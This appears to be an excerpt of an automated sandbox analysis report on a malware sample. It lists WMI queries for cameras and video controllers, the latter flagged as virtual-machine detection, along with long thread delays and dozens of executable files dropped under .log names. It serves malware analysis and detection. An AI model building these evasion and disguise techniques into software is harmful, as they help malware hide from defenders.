Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Memory allocated: 13D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Memory allocated: 1AD20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Memory allocated: 1650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Memory allocated: 1B3A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 599817	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 599688	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597792	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 595755	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 594157	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 593750	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 593391	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 593000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 592719	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 592500	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 592313	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 591875	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 591485	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 591203	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590985	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590718	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590484	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590156	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589844	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589604	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589480	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589353	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589235	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589110	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588985	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588860	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588735	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588610	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588458	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588328	Jump to behavior

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Window / User API: threadDelayed 8604			Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Window / User API: threadDelayed 1065			Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UPIBktTL.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SVFlttpV.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oDYhwZmE.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OSzMttrI.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vBMhZoht.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\buBBtjbG.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FkfwJRmb.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dGLjzEzy.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OeOumwpc.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ENCxRpdw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QYddYtaa.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nguhEyda.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kEKqFqTO.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\amxtkjHj.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eUERMxhX.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xmrxgCsm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CDgwRXyw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UXrTPcuQ.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aYPSAOzm.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lvPRxkTh.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QyTCAYNB.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QGDVeHnG.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AoefClwh.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QhBdIftX.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qIDxbZVW.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mSMHUcVd.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KfBEvNVm.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jhNAiyRT.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\itdibBOm.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MQMeXKnN.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CBsOLUGE.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XoXkyDgk.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aQUtsIzF.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kNhqpcmL.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SAFlVHRw.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vNbOSreM.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BFEovXjB.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZytkyWMl.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GhGFeRBW.log	Jump to dropped file
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FtWmYUyp.log	Jump to dropped file
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zavFSPnk.log	Jump to dropped file
